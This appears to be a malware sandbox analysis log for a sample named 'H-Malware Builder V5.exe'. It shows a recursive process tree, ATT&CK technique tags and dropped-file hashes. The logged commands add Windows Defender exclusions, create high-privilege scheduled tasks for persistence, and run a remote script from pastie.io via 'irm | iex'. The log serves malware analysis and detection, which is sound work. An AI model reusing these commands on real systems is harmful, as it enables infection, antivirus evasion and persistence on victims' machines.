C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'52⤵
- Command and Scripting Interpreter: PowerShell
PID:2668
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"52⤵PID:2544
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"53⤵PID:2200
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"54⤵PID:276
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST53⤵
- Scheduled Task/Job: Scheduled Task
PID:1624
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST53⤵
- Scheduled Task/Job: Scheduled Task
PID:2772
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"52⤵PID:712
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'53⤵
- Command and Scripting Interpreter: PowerShell
PID:2744
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"53⤵PID:3016
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"54⤵PID:2692
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"55⤵PID:1784
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST54⤵PID:1044
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST54⤵
- Scheduled Task/Job: Scheduled Task
PID:2888
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"53⤵PID:1552
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'54⤵
- Command and Scripting Interpreter: PowerShell
PID:2100
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"54⤵PID:1724
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"55⤵PID:2348
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"56⤵PID:2292
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST55⤵PID:1712
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST55⤵
- Scheduled Task/Job: Scheduled Task
PID:1156
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"54⤵PID:2028
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'55⤵
- Command and Scripting Interpreter: PowerShell
PID:1132
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"55⤵PID:932
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"56⤵PID:788
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"57⤵PID:648
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST56⤵
- Scheduled Task/Job: Scheduled Task
PID:1748
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST56⤵
- Scheduled Task/Job: Scheduled Task
PID:2276
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"55⤵PID:1096
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'56⤵
- Command and Scripting Interpreter: PowerShell
PID:1148
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"56⤵PID:2588
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"57⤵PID:2628
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"58⤵PID:1044
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST57⤵PID:868
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST57⤵PID:2404
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"56⤵PID:920
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'57⤵
- Command and Scripting Interpreter: PowerShell
PID:1408
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"57⤵PID:2860
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"58⤵PID:1868
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"59⤵PID:896
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST58⤵
- Scheduled Task/Job: Scheduled Task
PID:1564
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST58⤵
- Scheduled Task/Job: Scheduled Task
PID:2644
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"57⤵PID:2808
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1413886582-4175867301737272844-10878082031800492334-1270285233-1833153633-1911376440"1⤵PID:2912
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "2139282467397621443-388996370-605496852-34978151-4369146151140312879861606662"1⤵PID:108
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "913341316-6632024311650620245-19799529019808295321171408254388742241371745648"1⤵PID:2340
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-2349808131664992118188705807112225996891191413054-11062693551684682843-1902201773"1⤵PID:2596
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1262590323-767073520-1808822230-2130329258-602339689537953667-397177293489477101"1⤵PID:2312
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "2852314361050556619138266444748648335-574426201253422062-20713681481774791268"1⤵PID:2192
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-66834357318076561723513691831122651185-668536137-1153641817998395947-1302984427"1⤵PID:1800
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1217565501-944185004-105227350691805610017109643991920826411567185349-2034152547"1⤵PID:2160
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-8845014091198730992514172262-671188465-675300396303781374-284725152-903509812"1⤵PID:680
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1533149171338323947407130942400952548-13107036842054712831-1938165298-688939784"1⤵
- Suspicious use of SetWindowsHookEx
PID:1716
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-75008678735710107319660686891350745217-1415985519-18534143611897195882-368064107"1⤵
- Suspicious use of SetWindowsHookEx
PID:1856
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-131467739421201053352122641129-1848160087530269051-363640927714938055-343529689"1⤵PID:1096
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1659083730-431203759-199071048-18695730614304480391284790203-1637776917-485979572"1⤵PID:2420
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-95460540518869140451269271158-2013102129586859732493951915-4661875331980949082"1⤵PID:1808
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-990867646-1117607651-349389232822285614-406720802-362487322018457109-1245963074"1⤵PID:1520
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-687801476-470849207-62815869-667261591-5958729481863183700-152674096719831362"1⤵PID:2396
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-13207831669968578501443331040-1726035427-1806328113-474085044271384375-67087776"1⤵PID:1052
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-86213779175392990-1418450657422076945-172494368531159136-1548563941-269072895"1⤵
- Suspicious use of SetWindowsHookEx
PID:1792
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1634069235-1835948845-112768335-122716434920825684932115308867-2073583280331362840"1⤵PID:1628
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-5998639741608304233-1865056112-382547321-463197704-76562256-14943475071647305952"1⤵
- Suspicious use of SetWindowsHookEx
PID:896
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1865011192-1325953067155119635-573793578157508157846688511022705107-1664290096"1⤵
- Suspicious use of SetWindowsHookEx
PID:2440
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1863380856918194077-4168513931599830324-638399969-1550124675-14594223321821571859"1⤵PID:2672
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1869473369-13967134441747168571-45434684790557835557691101236401364896422721"1⤵PID:1544
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "811707659184489367777539569-1290293806-1312188066-30734865918059863601779349054"1⤵PID:1056
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1436737569-297613880-1060959240-19200803471407297881118223005618739813461445749890"1⤵
- Suspicious use of SetWindowsHookEx
PID:2820
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1462697331-2033845336-1442789462-1717295650925190149-1956838763-5471950912068092016"1⤵PID:1512
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "892286825-19259000431657245049-911484753328704251437730865113588110-1601526060"1⤵
- Suspicious use of SetWindowsHookEx
PID:3052
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1906227628-72118102-546394098-13765616356636259639594767561675572228-2313538"1⤵PID:2404
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-9926250941920391829-48925035-1822640802-572581686-7939057801359688358197055234"1⤵
- Suspicious use of SetWindowsHookEx
PID:2924
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1190694593-1905475512-1565865975-56869580-3024322241752304691373473547185351372"1⤵PID:2824
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-2027643243-19531127202080008670419507054-794097731113992745-1851355376-1897526394"1⤵PID:2152
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-219855945-1973675543-1036933014-13689957532142967914-9057942811767109097-1101418098"1⤵PID:2576
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1130742146633977857563796416-80224740457428251316773171-1200706261-268296271"1⤵PID:868
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "461831093-131686233512826256371228572561-1790449592-1418774302-815468516-1146256094"1⤵PID:2968
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-4199100322523880694774083731589053191-943309139-150249199620246692371451200824"1⤵PID:2268
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "19570924261068916492-13188627638386617-157673600174121558954570573-442156459"1⤵PID:2960
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1901723776-723521284-11186707481970029601-10244174334842929271014265589-375736325"1⤵PID:1592
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-4678910867730767121266797250676238350-634221518-712101654-10608871611864476236"1⤵
- Suspicious use of SetWindowsHookEx
PID:1584
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-6032350941109822574-114902256612051728404889158736252202-1153635322-456039962"1⤵PID:2732
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1147608094-1952944941-462819876-1845203442860265899882205034261574862078222188"1⤵PID:1852
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1940660586-792047441-18813559201401238332924858135-1125168147924638110362015551"1⤵PID:2588
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-19958659431882450024113180630231820626417953722164641684001876112524906200774"1⤵
- Suspicious use of SetWindowsHookEx
PID:680
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-176314952129715742-2068967880-515262814-3040694711101355908-9778053541764549730"1⤵PID:2316
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-123377074410403533832294921652143148396895312867559424113-320123602706860211"1⤵PID:2160
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "2075613219-1945640452-1577658129-961863299-3315985141223574897462036122322016018"1⤵PID:2052
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "151827632914039818764574597581118039926-371899396-608728651-1678431746-1415937108"1⤵PID:2000
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "19185342132056581353-973735071473466864-2001409211-1445124582-13294937201503890436"1⤵PID:2948
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-8468017318859574532018691628-2056771220252571069-46443724915064566861764019458"1⤵PID:1928
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "16715824171302043084-421022720820394796235289389594573346-291601801-2004218172"1⤵PID:2376
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1658448880-3667910041559224519996505635-18845058481980564050-16844482531138965053"1⤵PID:2276
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-10872463971720010361888007263-1985459356-108271387819211304343136446421191222499"1⤵PID:2304
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-53127702418568244911859878572020864538969436490159323932612544506231094861342"1⤵PID:1184
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-35475774914849241231273995535-2109869808279759166-1671513405711601538-1661616032"1⤵PID:1408
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-165481175515467924311894157132-1028846053-16336703251759231332-900800273140562363"1⤵PID:2244
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "182828477915200473611479253957396940306-43352204-561922865-212232184322540248"1⤵PID:2316
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-13327674272127635899-1392063736-417139481267613553-7550284466059781351502128606"1⤵PID:3048
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "166083156931088561841722487-10547457601039097123815550440588204136-2030376229"1⤵PID:1580
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "20528469129023292079469878401247383445-396221295-6613271801153103618517270254"1⤵PID:836
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-434335849153481172982662524-1752586423-706260029-804560021361850137139385392"1⤵PID:1516
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-745734879-1255953041-12643324371217192530-6151293121101837858-745695059-373878265"1⤵PID:1404
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1943365493-920637644-7251072571889729361-19227935941541435785-250998951828707022"1⤵PID:2076
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "987286329-18491073320537009399553734721223335241764328841-2139231607348037911"1⤵PID:2468
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5629456682b1d97651d270bd6320e442d
SHA1e90c298e8d63902e43d26c1477cccc121b333089
SHA2568cee4f74f61d620e4dfb25ac5e5e6f7258693aeccde7fd0ac2e3c36995d59e88
SHA512c8a83f9945d7e231a7b1732c9bbe5fb5eaa92fea6b3f45ebc4062da48e2ed7f8ad837a9e5335ee298dd8b0d5439588385d6a1dbb19ab1447127ba3764c5e4cb6
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5208ea8b9b65b29579fe1845ae6200d52
SHA1c3e520446d60f33889e527b96a4457a4c8e74ce0
SHA2566a38496d45b8b63022707b2fd7d717bfec6247ca8357e86d141f96b4f4dc56f9
SHA5121489339c403db52f5c89a19f5e6e6dbc84b76304329935b71875c5aac21cc904a4239e7da2f3696a529b546922ea79c250ac362fa1f4c15e030312bd145f8490
-
Filesize
290KB
MD5cc63633edfcc147cbaed1959b03d8730
SHA1df7a250eba6ee1767b09f7923bfd735635deb9e8
SHA256e699d9e9a81e9de82ce7ed645ef2a92ed6231e32cbc18a7e9ddff5c82623d417
SHA512a584893714d46c6bdf4cc0a097b5f088a9aa49eea07b181745ca9b351b570c8ac3487bfe53a8a97213f5d8a7f71dbf4070ff92eab58b2ff7a4d0e784e17d02d4
-
Filesize
145KB
MD519c7052de3b7281b4c1c6bfbb543c5dc
SHA1d2e12081a14c1069c89f2cee7357a559c27786e7
SHA25614ed6cb3198e80964cbc687a60aed24fb68d1bbd7588f983dc1fc6ae63514b4a
SHA512289ca791909882c857014bd24e777fa84b533896508b562051b529d4c27e0d98bc41c801c6384b382f5dc0fa584dc8f713939c636543b0a5cf5ea2b396300f83
-
Filesize
154KB
MD5f0ecfbfa3e3e59fd02197018f7e9cb84
SHA1961e9367a4ef3a189466c0a0a186faf8958bdbc4
SHA256cfa293532a1b865b95093437d82bf8b682132aa335957f0c6d95edfbcc372324
SHA512116e648cb3b591a6a94da5ef11234778924a2ff9e0b3d7f6f00310d8a58914d12f5ee1b63c2f88701bb00538ad0e42ae2561575333c5a1d63bb8c86863ac6294
-
Filesize
145KB
MD5ce233fa5dc5adcb87a5185617a0ff6ac
SHA12e2747284b1204d3ab08733a29fdbabdf8dc55b9
SHA25668d4de5e72cfd117151c44dd6ec74cf46fafd6c51357895d3025d7dac570ce31
SHA5121e9c8e7f12d7c87b4faa0d587a8b374e491cd44f23e13fdb64bde3bc6bf3f2a2d3aba5444a13b199a19737a8170ee8d4ead17a883fbaee66b8b32b35b7577fc2
-
Filesize
142KB
MD5d73172c6cb697755f87cd047c474cf91
SHA1abc5c7194abe32885a170ca666b7cce8251ac1d6
SHA2569de801eebbe32699630f74082c9adea15069acd5afb138c9ecd5d4904e3cdc57
SHA5127c9e4126bed6bc94a211281eed45cee30452519f125b82b143f78da32a3aac72d94d31757e1da22fb2f8a25099ffddec992e2c60987efb9da9b7a17831eafdf6
-
Filesize
114KB
MD51f998386566e5f9b7f11cc79254d1820
SHA1e1da5fe1f305099b94de565d06bc6f36c6794481
SHA2561665d97fb8786b94745295feb616a30c27af84e8a5e1d25cd1bcaf70723040ea
SHA512a7c9702dd5833f4d6d27ce293efb9507948a3b05db350fc9909af6a48bd649c7578f856b4d64d87df451d0efbe202c62da7fffcac03b3fe72c7caaea553de75f
-
Filesize
680KB
MD5b69ab3aeddb720d6ef8c05ff88c23b38
SHA1d830c2155159656ed1806c7c66cae2a54a2441fa
SHA25624c81302014118e07ed97eaac0819ecf191e0cc3d69c02b16ecda60ac4718625
SHA5124c7a99d45fb6e90c206439dcdd7cd198870ea5397a6584bb666eed53a8dc36faaac0b9cfc786a3ab4ecbbecc3a4ddd91560246d83b3319f2e37c1ed4bdbec32d
-
Filesize
646KB
MD5aecab86cc5c705d7a036cba758c1d7b0
SHA1e88cf81fd282d91c7fc0efae13c13c55f4857b5e
SHA2569bab92e274fcc0af88a7fdd143c9045b9d3a13cac2c00b63f00b320128dcc066
SHA512e0aa8da41373fc64d0e3dc86c9e92a9dd5232f6bcae42dfe6f79012d7e780de85511a9ec6941cb39476632972573a18063d3ecd8b059b1d008d34f585d9edbe8
-
Filesize
727KB
MD57d0bac4e796872daa3f6dc82c57f4ca8
SHA1b4f6bbe08fa8cd0784a94ac442ff937a3d3eea0a
SHA256ce2ef9fc248965f1408d4b7a1e6db67494ba07a7bbdfa810418b30be66ad5879
SHA512145a0e8543e0d79fe1a5ce268d710c807834a05da1e948f84d6a1818171cd4ef077ea44ba1fe439b07b095721e0109cbf7e4cfd7b57519ee44d9fd9fe1169a3e
-
Filesize
727KB
MD55f684ce126de17a7d4433ed2494c5ca9
SHA1ce1a30a477daa1bac2ec358ce58731429eafe911
SHA2562e2ba0c47e71991d646ec380cde47f44318d695e6f3f56ec095955a129af1c2c
SHA5124d0c2669b5002da14d44c21dc2f521fb37b6b41b61bca7b2a9af7c03f616dda9ca825f79a81d3401af626a90017654f9221a6ccc83010ff73de71967fc2f3f5b
-
Filesize
722KB
MD54623482c106cf6cc1bac198f31787b65
SHA15abb0decf7b42ef5daf7db012a742311932f6dad
SHA256eceda45aedbf6454b79f010c891bead3844d43189972f6beeb5ccddb13cc0349
SHA512afecefcec652856dd8b4275f11d75a68a582337b682309c4b61fd26ed7038b92e6b9aa72c1bfc350ce2caf5e357098b54eb1e448a4392960f9f82e01c447669f
-
Filesize
406KB
MD554c674d19c0ff72816402f66f6c3d37c
SHA12dcc0269545a213648d59dc84916d9ec2d62a138
SHA256646d4ea2f0670691aa5b998c26626ede7623886ed3ac9bc9679018f85e584bb5
SHA5124d451e9bef2c451cb9e86c7f4d705be65787c88df5281da94012bfbe5af496718ec3e48099ec3dff1d06fee7133293f10d649866fe59daa7951aebe2e5e67c1f